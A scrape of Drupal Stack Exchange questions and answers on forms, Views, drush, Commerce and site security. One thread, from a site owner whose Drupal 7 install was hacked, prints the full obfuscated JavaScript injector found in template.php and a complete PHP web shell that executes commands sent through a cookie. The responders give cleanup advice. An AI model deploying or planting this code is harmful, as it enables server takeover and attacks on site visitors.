But it doesn't work. The onclick works if I put another JavaScript like `alert`. I have nothing in my JS errors console.

Does someone have an idea to make it work?

Thanks a lot :-)

# Answer
> 0 votes
I found out that I had to do this in jQuery as I thought. But if I want all the form to be reset, means all the fields values to "", the `.reset()` method isn't enough. I had to set all the values to "" and empty my results table manually like this:

```
$form['reset'] = array(
'#type' => 'button',
'#button_type' => 'reset',
'#value' => 'Réinitialiser',
'#validate' => array(),
'#attributes' => array(
  'onclick' => 'jQuery("#edit-categories, #edit-contextes, #edit-organismes, #edit-fonctions").val("");
                jQuery(".history-results tr").remove();',
  ),
);

```

# Answer
> 1 votes
> Type should be reset, not button.
>
> http://www.w3schools.com/tags/att\_button\_type.asp

You right, there is no such type. I was able to get this working with 2 submit buttons and return false (similar to your original implementation).

```
function drupalform_form($form, &$form_state) {

  $form['name']=array(
    '#type'=>'textfield',
    '#title'=>t('Enter your name'),
    '#description'=>t('Your first name goes here')
    );

  $form['submit_button1'] = array(
    '#type' => 'submit',
    '#value' => 'Submit',
    );

  $form['reset_button'] = array(
    '#type' => 'submit',
    '#value' => 'Reset',
    '#validate' => array(),
    '#attributes' => array(
        'onclick' => 'this.form.reset(); return false;',
        ),
      );

  return $form;
}

```

If it still doesn't work there is this alternative solution: How to reset specific form elements

---
Tags: 7, forms, theming
---


# Question
Title: White screen of death but only on log in page?
Ive got a copy of a site to work on locally. The instructions were to leave the settings.php how it is and just enter my database details into local\_settings.php. Ive done this and the site works fine except except when I try and log in and go to the 'user' page at which point I get the white screen of death.

The site only works the the url doesn't have the https so this is the front page: `http://mysite/`

However when I try and 'user' to the end it redirect to `https://mysite/user` so it adds 's' to the 'http'.

Another quirk that may be relevant is that when I create a brand new site it works fine except that the admin log in doesn't work the first time. I have to use the 'Request new password' link to log in. After that I can log in and out fine.

# Answer
> 1 votes
Turns out I had to disable the secure pages module.

---
Tags: configuration
---


title: My drupal 7.22 site got hacked

text:
# Question
Title: My drupal 7.22 site got hacked
When I tried logging in to my Drupal site this morning, I got an error.

When I took a look at the log files, I found a error about the template.php file used by the theme currently set:

> \[Sat Sep 14 11:53:15 2013\] \[warn\] mod\_fcgid: stderr: PHP Parse error: syntax error, unexpected '\<' in (site directory)/web/themes/seven/template.php on line 144
> \[Sat Sep 14 11:53:20 2013\] \[warn\] mod\_fcgid: stderr: PHP Parse error: syntax error, unexpected '\<' in (site directory)/web/themes/seven/template.php on line 144, referer: (site url)

I found malicious code right at the bottom of my template.php file, which contains:

```
<?
#a9a007#
                                                                                if(empty($tokk)) { $tokk = " <script type=\"text/javascript\" language=\"javascript\"> jtgx=\"spl\"+\"i\"+\"t\";xttq=window;joobzh=\"0\"+\"x\";hzmer=(5-3-1);try{--(document[\"body\"])}catch(ztf){wnwsjy=false;try{}catch(sfckzc){wnwsjy=21;}if(1){suha=\"17:5d:6c:65:5a:6b:60:66:65:17:58:65:5c:6b:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:58:65:5c:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:58:65:5c:6b:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:6e:6e:6e:25:61:6c:6a:6b:63:58:6c:5e:5f:60:65:5e:25:5a:66:64:25:58:6c:26:6a:5a:69:60:67:6b:6a:26:5b:6b:5b:25:67:5f:67:1e:32:4:1:17:58:65:5c:6b:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:58:65:5c:6b:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:2f:2b:2a:27:1e:32:4:1:17:58:65:5c:6b:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:2f:2b:2a:27:67:6f:1e:32:4:1:17:58:65:5c:6b:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:2f:2b:2a:27:67:6f:1e:32:4:1:17:58:65:5c:6b:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:2f:2b:2a:27:1e:32:4:1:17:58:65:5c:6b:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:2f:2b:2a:27:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:58:65:5c:6b:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:58:65:5c:6b:53:1e:17:5a:63:58:6a:6a:34:53:1e:58:65:5c:6b:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:58:65:5c:6b:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:58:65:5c:6b:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:58:65:5c:6b:27:30:1f:20:32:4:1:74:4:1:74\"[jtgx](\":\");}xttq=suha;tpjm=[];for(xrufi=22-20-2;-xrufi+1425!=0;xrufi+=1){max=xrufi;if((0x19==031))tpjm+=String.fromCharCode(eval(joobzh+xttq[1*max])+0xa-hzmer);}cspnn=eval;cspnn(tpjm)}</script> "; echo $tokk; }
#/a9a007#
?>

```

Then when I took a closer look at the error log files, I found the following entry:

> \[Mon Sep 09 09:44:10 2013\] \[warn\] \[client 150.217.155.58\] mod\_fcgid: stderr: PHP Notice: Undefined index: XERATUTA in (site directory)/web/profiles/4nJDt3MC.php on line 72

As you can see, it is right in the profiles directory and it contains the following:

```
<?php
//curl -v --cookie "XERATUTA=w" URL
//adjust system variables
if(!@isset($_SERVER)){$_COOKIE=&$HTTP_COOKIE_VARS;$_POST=&$HTTP_POST_VARS;$_GET=&$HTTP_GET_VARS;}
//die with error
function x_die($m){@header('HTTP/1.1 500 '.$m);@die();}
//check if we can exec
define('has_passthru',@function_exists('passthru'));
define('has_system',@function_exists('system'));
define('has_shell_exec',@function_exists('shell_exec'));
define('has_popen',@function_exists('popen'));
define('has_proc_open',@function_exists('proc_open'));
define('has_exec',@function_exists('exec'));
define('can_exec',(has_passthru||has_system||has_shell_exec||has_popen||has_proc_open||has_exec));
if(!can_exec){x_die('can not exec: no functions available');}
//check if we can config
define('has_ini_get',@function_exists('ini_get'));
define('has_ini_get_all',@function_exists('ini_get_all'));
define('can_config',(has_ini_get||has_ini_get_all));
if(!can_config){x_die('can not config');}
//get config value
function x_ini_get($n){if(has_ini_get){return(@ini_get($n));}elseif(has_ini_get_all){$h=@ini_get_all();return($h[$n]['local_value']);}}
// check safe mode
if(x_ini_get('safe_mode')){x_die('can not exec: safe mode active');}
//smart exec helpers
function x_passthru($c){@passthru($c);}
function x_system($c){@system($c);}
function x_shell_exec($c){echo @shell_exec($c);}
function x_popen($c){$o;if(($f=@popen($c,'r'))){while(!@feof($f)){$o.=@fgets($f);}@pclose($f);}echo $o;}
function x_proc_open($c){$o;if(@is_resource($p=@proc_open($c,array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')),$f))){@fclose($f[0]);while(!@feof($f[1])){$o.=@fgets($f[1]);}@fclose($f[1]);@proc_close($p);}echo $o;}
function x_exec($c){$o;@exec($c,$o);echo @implode("\n",$o);}
//do smart fetch
function x_superfetch($a,$p,$r,$l) {
        if($s=@fsockopen($a,$p)) {
                if($f=@fopen($l,"wb")) {
                        @fwrite($s,"GET ".$r." HTTP/1.0\r\n\r\n");
                        while(!@feof($s)) {
                                $b=@fread($s,8192);
                                @fwrite($f,$b);
                        }
                        @fclose($f);
                        echo "OK\n";
                }
                @fclose($s);
        }
}
//do smart exec
function x_smart_exec($c) {
        if($c==="which superfetch 1> /dev/null 2> /dev/null && echo OK") {
                echo "OK\n";
        }
        elseif(@strstr($c,"superfetch")) {
                $a=@explode(' ',$c);
                x_superfetch($a[1],$a[2],$a[3],$a[4]);
        }
        elseif(has_passthru){x_passthru($c);}
        elseif(has_system){x_system($c);}
        elseif(has_shell_exec){x_shell_exec($c);}
        elseif(has_popen){x_popen($c);}
        elseif(has_proc_open){x_proc_open($c);}
        elseif(has_exec){x_exec($c);}
}
//go
$n='XERATUTA';
$c=$_COOKIE[$n];
if(@empty($c)){$c=$_POST[$n];}
if(@empty($c)){$c=$_GET[$n];}
if(@get_magic_quotes_gpc()){$c=stripslashes($c);}
x_smart_exec($c);
?>

```

I've directly disabled my site, but I really have no clue about what to do next. I removed the 4nJDt3MC file and cleared the template.php file from the malicious code which was injected in there.

I could activate my site again, but this will surely ask for another attempt to hack my site.

Has it to do with Drupal, or is my server hacked?

Now my server seems to have been abused for spam sending, all through the Drupal site account.

# Answer
From what you posted, it doesn't look like this has anything to do with Drupal directly – whatever dropped this file onto your server found a way to get write access to folders that shouldn't be writable. This could have been done through a vulnerability in Drupal or a contrib module, but it's just as likely that the vulnerability lies somewhere else on the server.

1. First, I would make a local backup of your files and database in case you need anything in the future that subsequent steps might erase.
2. Make sure everything except for your writable files dir (e.g. `files` or `sites/default/files` or whatever you have set) is set to 755 and owned by your login account and not the www-data user (or whatever your server runs as). Look through all of your directories and files and see what else has been modified recently. If you're using version control such as git to manage your codebase, you could use that to help you compare the differences.
3. Install the hacked module to see if any of your core/contrib modules have changed.
4. I don't have an easy idea for the database, but you may just need to manually run through all of the content on your site to look for any changes that have been made. You might even compare a current database dump with a backup that you have and run a diff against them. There are a few tools that may help with this.
5. Update Drupal core and all contrib modules to the latest stable versions.

Beyond all of that sort of emergency recovery stuff, **you've not discovered the exploit that was used to gain writable access to your machine.** Either hire someone or check with your hosting company's support to see if they can help pinpoint where the original exploit is.

Also, considering the malicious file was in your theme folder and `template.php` was messed with, the exploit may be in there. Are you doing anything with user input in your theme?
> 5 votes

# Answer
1. Backup the site
2. Check if any file or folder was changed in sites/
3. Proceed like when upgrading, but remove everything, por a clean branch of Drupal in place and then your sites folder
4. Do not use ftp or insecure protocols
> 1 votes

# Answer
This question has been asked Sep 14, the exploit that allowed the hacker to get in your website was announced as of Oct 15. You should update your drupal to at least drupal 7.32. Or apply the patch mentioned here: https://www.drupal.org/PSA-2014-003
> 0 votes

---
Tags: security
---


# Question
Title: Help text blocks show up randomly in node add/edit form with Drupal Bootstrap theme
I can't get rid of this display bug.

I set a `Help text` for all my content-type's fields to guide my users in the node add/edit forms.

However, these text blocks seem to show up **randomly** in the form page. Illustration:

Yes, I can assure you that all the fields have a help text set up in the administration interface.

There are no similarities between the field's types. There are text, select lists, taxonomy term reference, etc...

I tried without the field groups (we never know). But no luck.

My config is Drupal 7.32 and my theme is based on Bootstrap 7.x-3.0.

Any idea?

**EDIT:**

No, they not appear in HTML source at all.

Here is a part of the source code showing one field without help text and one field with help text:

```
<div id="edit-field-function-title" class="field-type-text field-name-field-function-title field-widget-text-textfield form-group col-xs-6 form-wrapper form-group">
  <div id="field-function-title-add-more-wrapper">
    <div class="form-type-textfield form-item-field-function-title-und-0-value form-item form-group">
      <label for="edit-field-function-title-und-0-value">
      <input id="edit-field-function-title-und-0-value" class="text-full form-control form-text required" type="text" maxlength="255" size="60" value="" name="field_function_title[und][0][value]">
    </div>
  </div>
</div>
<div id="edit-field-organisme" class="field-type-taxonomy-term-reference field-name-field-organisme field-widget-autocomplete-deluxe-taxonomy form-group col-xs-6 form-wrapper form-group">
  <div class="form-type-autocomplete-deluxe form-item-field-organisme-und form-item form-group">
    <label for="edit-field-organisme-und">
    <div class="autocomplete-deluxe-container">
      <input id="autocomplete-deluxe-input--2" class="autocomplete-deluxe-form form-control form-text jquery-once-2-processed ui-autocomplete-input autocomplete-deluxe-form-single" type="text" size="60" value="" name="field_organisme[und][textfield]" autocomplete="off" role="textbox" aria-autocomplete="list" aria-haspopup="true">
      <div class="autocomplete-deluxe-throbber autocomplete-deluxe-closed"> </div>
      <p class="help-block">Ce champ est destiné à l'organisme, structure, société, entreprise, cause, fédération, etc. à laquelle la personne physique ou l'entité appartient et pour laquelle elle est référencée dans Grape.</p>
    </div>
  </div>
</div>

```

# Answer
The solution was very simple actually. It was a config in theme administration that set all text blocks having less than 200 chars as tooltips and not as help blocks. All I had to do is disabling that config:
> 0 votes

---
Tags: 7, theming
---


# Question
Title: Advice on latest drupal security advisory having followed most of the instructions do I rebuild the server?
I was unfortunately on holiday on the week of drupageddon / drupalgeddon / security advisory SA-CORE-2014-005. So my site was a week without having core updated/ patch applied at all. I started off reading through this post and, apart from the Hacked module which I couldn't understand and therefore didn't try, nothing seemed to have happened. Nothing seems to be a breach, but as I read - that's the point... So generally speaking I'm preparing to rebuild the server, but in all this it will take ages as I'll have to check through all the user submitted data. How is the hack able to lead to *everything* possibly being vulnerable? Looking through the permissions the only things that are owned by "apache" are the "sites/default/files" files. Do I need to rebuild the server?

I updated core immediately, then used the Drupalgeddon module which found nothing (and again found nothing just now):

```
"Site did not test positive. Good luck!                               [ok]"

```

I checked through the live source against our development repository and I couldn't see anything *obvious* that was suspicous.

I used Toad for MySQL to do a comparison of my live db with a dump of the database before the 15th of October and that did not show anything that *I thought might be* a problem. I kept doing what I was shown *(!)* in terms of permissions:

Group: root\[0\]; Owner: root\[0\]; Octal: "0755" for

* /sites/all/modules
* /sites/all/themes
* /sites/all/libraries

Group: root\[0\]; Owner: root\[0\]; Octal: "0444" for

* settings.php

Group: root\[0\]; Owner: root\[0\]; Octal: "0644" for

* all root of web directory stuff like...
* /install.php
* /index.php
* the files within the other folders off the root of the web directory

The *folders*:

* /themes
* /scripts
* /includes etc.

have Group: root\[0\]; Owner: root\[0\]; Permissions: Octal:"0755"

Which I thought (and which is why I deliberately kept it like that) made everything quite locked down in terms of file access and permissions etc.

So after all this I was struck with a similar scepticism as this article on ZDNET.

Any suggestions? Do those permissions/ ownership help to protect? Do I really need to rebuid? The latest claims are if you didn't update within 7 hours, you've been hacked. The sites are actually fairly new and atm get roughly 5000 sessions a month. Also, coincedentally, I removed user/register to prevent spam because our setup uses a bespoke arrangement for registration.

# Answer
> 0 votes
You have a couple of questions here so I'll answer the one that I can. File permissions.

The short answer is it depends on your setup as to what the best permissions are.

It depends on your system's users and groups and what account runs the web server process.

There is a lot of more detailed information at Securing file permissions and ownership.

I will give one specific though:

Something to consider aside from the security of your website is the security of your server.

If all your files have to be edited by root does that possibly mean you are regularly using the root account or sudo to do things? If so that is bad for server security. You shouldn't really need to be root to edit website files like that.

Instead of using root maybe use a non-root account with a strong password.

Remember, root is no stronger than any other user in terms of what password they are required to log in with, but has infinitely more power once they're in.

---
Tags: security
---


# Question
Title: How to select FROM {commerce_product} p WHERE p.field_TERMFIELD = $given_tid and the resulted p.product_id is referenced on a given nid
Known values:

* The nid of a node that has reference to more than one commerce\_product
* The tid from the field\_TERMFIELD field attached to the commerce\_product entity

commerce\_product entity is referenced on the node entity via a multivalued entity reference field. When my known node has more than one referenced commerce product, I gotta figure out which one of those referenced products has a given tid.

A solution via either `db_select()` or `EntityFieldQuery()` are welcome.

# Answer
I think I got it figured out:

```
$query = db_select('commerce_product', 'p');
$query->join('field_data_field_TERMFIELD', 't', 't.entity_id = p.product_id');
// This is the product reference field table. This field is attached to our node.
$query->join('field_data_field_product_reference', 'pr', 'pr.field_product_reference_product_id = p.product_id');

$query
  // This is the product_id we are looking for.
  ->fields('p', array('product_id'))

  ->condition('field_TERMFIELD_tid', $tid)
  ->condition('pr.entity_type', 'node')
  ->condition('pr.entity_id', $nid);

 $result = $query->execute();

```
> 1 votes

# Answer
By joining the **node** and **product fields tables** that are required

```
$query = db_select('node', 'n');
$query -> leftJoin('field_data_field_product', 'seat', "seat.entity_id = n.nid AND seat.entity_type = 'node' AND seat.bundle = 'seat'");

```

In your case you need to inverse the process to get data from product table...
> 0 votes

---
Tags: database
---


# Question
Title: Views returns 'All taxonomy terms' in alphabetically order; can I change to Parent > child
I'm outputtin taxonomy terms using Views; The field i'm calling up is 'Content: All taxonomy terms' and returning all the vocabulary 'address' . Views then puts these into alphabetical order ie.

England, London, Victoria

I'd like it to return from Parent downwards. Anyone know how to do this ?

Many thanks,

# Answer
> 1 votes
I believe you're looking for something like the Hierarchical Term Formatter module:

> This module provides hierarchical term formatters for taxonomy reference fields. In other words, it can display a taxonomy term reference on, say, a node as Parent \> Child, rather than just Child.

# Answer
> 0 votes
If you are looking to order them BY ID, or NAME, or WEIGHT.

You need to create in **Advance (Views)** a **Relationship** pointing to that Taxonomy Vocabulary

Then you can add a Sort Filter, in the way you want...

# Answer
> 0 votes
The following code takes the absolute child tid and grabs all parents. The second argument is for the amount of terms you wish to return; and the thrid for how you want to order it.

```
 /**
 * @file Orders Taxonomy
 *
 * @param $output - expecting a tid  // check this at the point of running the    function
 * @param $no_results - the number of results that you'd like to return
 * @param $order - which tid first - child or most senior parent ?
 */

 function taxonomy_order($output, $no_results = 1, $order = 'first') {

  $terms = entity_load('taxonomy_term', array($output));
  $wrapper = entity_metadata_wrapper('taxonomy_term', $output);
  $all_parents = $wrapper->parents_all->value();

  ( $order == 'last' ) ? $all_parents = array_reverse($all_parents) : $all_parents;

  $stitch_term_array = '';
  foreach ($all_parents as $key => $term) {
   ($key < $no_results ) ? $stitch_term_array .= $term->name . ", " : '';
   }
  $stitch_term_array = rtrim($stitch_term_array, ', ');

  return $stitch_term_array;

```

---
Tags: taxonomy-terms
---


# Question
Title: Can I use drush to compare the running modules on two sites on the same server?
Is there a way to use drush to compare the list of running modules on two Drupal 6 sites?

I have two sites running locally (with two code bases if that matters) with different modules, but a very similar odd problem (discussed about here). In trying to find the modules that might causing this problem, it would be really helpful to get a list of modules that are running on both sites.

# Answer
I don't know if there is a direct way, but this should work with bash or a similar shell. No idea about how to do that with Windows :) Please comment and I'll integrate it into the answer.

First, save the enabled modules of both sites into a textfield with this command:

```
drush pm-list --status=enabled > enabled_modules_site_x.txt

```

Then, you can easily compare the output of these two files with diff.

```
diff first_file second_file

```
> 7 votes

# Answer
Here is my adaptation:

```
diff -b -s --suppress-common-lines <(drush @sa1 pm-list --status=enabled --fields=package,name) <(drush @sa2 pm-list --status=enabled --fields=package,name)

```

It doesn't care about versions to get a quick overview of which modules haven't been enabled on the other server.
> 2 votes

# Answer
Berdir's answer works, mostly, but there is a more direct way to do it, *and* you can compare across multiple machines if you have drush aliases set up to allow it.

```
diff -b -s --suppress-common-lines --side-by-side <(drush @uat pm-list --status=enabled) <(drush @dev pm-list --status=enabled)

```

(Obviously you need to replace `@uat` and `@dev` with the aliases that are appropriate in your case.)

You normally only care about the differences, so `--suppress-common-lines` is a useful option. I find it easier to see differences when they are side-by-side, so the `--side-by-side` option may be helpful to you too. Remove it if you prefer standard `diff` output. `-b` ignores whitespace differences, which is very handy. `-s` tells you if the results are identical, which is nice to get feedback about, rather than the default, which is `diff` saying nothing if there are no differences.

This isn't guaranteed to always work perfectly, however, because under certain conditions you might get your output formatted differently between the two servers.

It should, however, get you most of the way to a very quick and easy, single-step, way of comparing enabled modules on two Drupal installations, that works in 95% of cases.
> 1 votes

---
Tags: 6, drush
---


# Question
Title: Blocking IP Address In Drupal 7 Via Code
I want to know is there any function in DRUPAL 7 that I can send it an IP address as a parameter and it adds this ip to blacked\_ips table ??

Indeed I have a rule that contains a Execution PHP action . In my action I want to add an IP to black list.

# Answer
> 5 votes
There isn't in core; `system_block_ip_action()` is about as close it you'll get, but that blocks the current IP.

Such a function would be trivial to implement though:

```
function block_ip($ip) {
  if (!(bool)db_query("SELECT 1 FROM {blocked_ips} WHERE ip = :ip", array(':ip' => $ip))->fetchField()) {
    db_insert('blocked_ips')->fields(array('ip' => $ip))->execute();
  }
}

```

# Answer
> 4 votes
You can use **drupal\_form\_submit()** to block the IP.

```
Case 1:

    function block_ip($ip) {
        $form_state['values'] = array();
        drupal_form_submit('system_ip_blocking_form', $form_state, $ip);
    }

Case 2:

    function block_ip($ip) {
        $form_state = array();
        $form_state['values']['ip'] = $ip;
        drupal_form_submit('system_ip_blocking_form', $form_state, $ip);
    }

```

Line $form\_state\['values'\]\['ip'\] = $ip; is optional as **system\_ip\_blocking\_form** required IP as 3rd param. You can see function declaration at line 1392 in system.admin.inc

The advantage of using **drupal\_form\_submit()** is, it will handle all validation and set watchdog messages.

---
Tags: rules
---


# Question
Title: Is there a way to turn off the paypal checkout button in /cart view in drupal 7 commerce?
After adding an item to the cart in drupal 7 commerce, the /cart page has a **checkout with paypal** button. Is there a way to remove this in the commerce payment configuration pages? It seems unnecessary and confusing. I know I can hide it via css, but was wondering if there was a option somewhere.

# Answer
> 3 votes
This button comes from the Express Checkout module in the Commerce PayPal project. If you don't need Express Checkout, just uninstall that module. If you do, it's a functional requirement of PayPal for the button to be present here. However, I will go open a feature request now to turn that into an area handler for Order Views. Makes sense and would do what you're asking.

# Answer
> 5 votes
If found a simple way to disable the button through rules.

Edit the configuration of the Paypal EC payment method and add a condition to the rule:

Data Comparison / Commerce Order...state / Equal to 'Checkout'

In this way, when the order is still in Shopping Cart state the payment method is disabled.

# Answer
> 1 votes
Although it's not recommended, you can comment these lines:

```
$form['paypal_ec'] = array(
 '#type' => 'image_button',
 '#value' => t('Check out with PayPal'),
 '#src' => commerce_paypal_ec_button_url(),
 '#attached' => array(
   'css' => array(
     drupal_get_path('module', 'commerce_paypal_ec') . '/theme/commerce_paypal_ec.theme.css',
   ),
 ),
);

```

---
Tags: 7, payment-gateways, commerce
---


# Question
Title: Compromised D7 Sites due to SQL Injection Security Bug "Drupal Core - Highly Critical - Public Service announcement - PSA-2014-003"
I have few websites running Drupal 7 and i upgraded them all on 16th October 2014.

Since 3 days we are monitoring the websites and we haven't seen any problem or evidence of our system being compromised.

I am wondering if there is anyway to identify if a Drupal 7 sites has been compromised?

It will be really helpful if we all post our views, any evidence of system being compromised and any action that could be helpful to make sure we are secure.

# Answer
> 1 votes
Someone recently came out with a module that should help in this, assuming you have installed drush. It is called Drupalgeddon

Here is an example of its use:

```
$ drush -y @sites drupalgeddon-test
You are about to execute 'drupalgeddon-test' non-interactively (--yes forced) on all of the following targets:
sites.abcd-d6.example.org       >> Site is not Drupal 7.                     [ok]
sites.abcde.example.org         >> Site did not test positive. Good luck!    [ok]
sites.abcdef.example.org        >> Site did not test positive. Good luck!    [ok]
sites.abcdefg.example.org       >> Site did not test positive. Good luck!    [ok]

```

Also note:

**Drupalgeddon cannot guarantee a website has not been compromised.**

---
Tags: 7
---


# Question
Title: Duplicate Entry for Video Embed Field which not allow to save node
> **Content Type** : VideoDisplay
>
> **Fields** : Name of Video(Type: String), Video(Type: Video Embed Field), Artist(Type : Node Reference Field)

User already created a record of type `VideoDisplay`. Now as per requirement I can add more

> Artist to Existing Video.

So I take this approach:-

```
$node_vids = node_load($videoId);
$node_vids->field_artist[LANGUAGE_NONE] = array(
               0 => array('nid' => $form_state['values']['nid']));
$node = node_submit($node_vids);
node_save($node);

```

But it gives me error saying:

> SQLSTATE\[23000\]: Integrity constraint violation: 1062 Duplicate entry 'node-143-0-0-und' for key 'PRIMARY'

This error comes up while inserting data in Video(`Type:Video Embed Field`). But here I want to save Artist(`Type : Node Reference Field`) field only. I get to know that `node_save` actually saves all the attributes of Content Type.

After searching net I try to use **field\_attach\_update()** but again it is throwing same exception. Please let me know any solution to get out of this problem.

# Answer
> 0 votes
field\_sql\_storage\_field\_storage\_write() function exposed by Drupal helps to update desired single field only. Calling this will not invoke any hooks.

---
Tags: 7, files, nodes
---


# Question
Title: How to set available options for Comment Per Page select?
In Drupal 7, In comment setting a option **Comments per page** show 10, 30, 50, 70, 90, ... 300. I want to option "Comment per page" show like 1, 2, 3, 4, .... .

# Answer
Comments per page options are taken from `_comment_per_page` function and as you can see, are hardcoded:

```
function _comment_per_page() {
  return drupal_map_assoc(array(10, 30, 50, 70, 90, 150, 200, 250, 300));
}

```

To substitute this with your own function, you need to implement `hook_form_alter`, and override changes made by `comment_form_node_type_form_alter`. Specifically, you need to change `$form['comment']['comment_default_per_page']['#options']` and make sure `$form['comment']['comment_default_per_page']['#default_value']` makes sense after that change.

To make sure your hook fires after the one by comment module, see Can I change the order in which hook implementation by different modules are called?
> 0 votes

---
Tags: comments
---


# Question
Title: Views: Showing related nodes from the tagged taxonomy term using views
I have two content types, Article and FAQ. They both have a *Term reference* field for tagging from the same taxonomy vocabulary called subject.

So on *Article* node view page, I want to display the three latest *FAQ* nodes that are tagged the same taxonomy term as to the currently displayed *Article* node, using views.

Please give me some idea. Thanks

# Answer
1. Create view (block)
2. Add fields (title)
3. Add Contextual filters: "Content: Has taxonomy term ID"
4. Configuration on this filter:

1. When the filter value is NOT in the URL
    2. Provide default value
    3. Type: Taxonomy Term ID from URL. Under that, check the box "*Load default filter from node page, that's good for related taxonomy blocks.*" Check the boxes of the taxonomies you want involved here
5. Filter criteria: Content: Type (= FAQ)
> 0 votes

# Answer
You may consider to set up a similar view like this while the 1st relationship find all tags under one node, and the 2nd relationship find all content with this tags, including the existing content.

However, you may need to change the field type in content type as "entity reference" rather than "term reference" to make it work
> 0 votes

---
Tags: taxonomy-terms, views
---


# Question
Title: Links in sidebar to link to search results
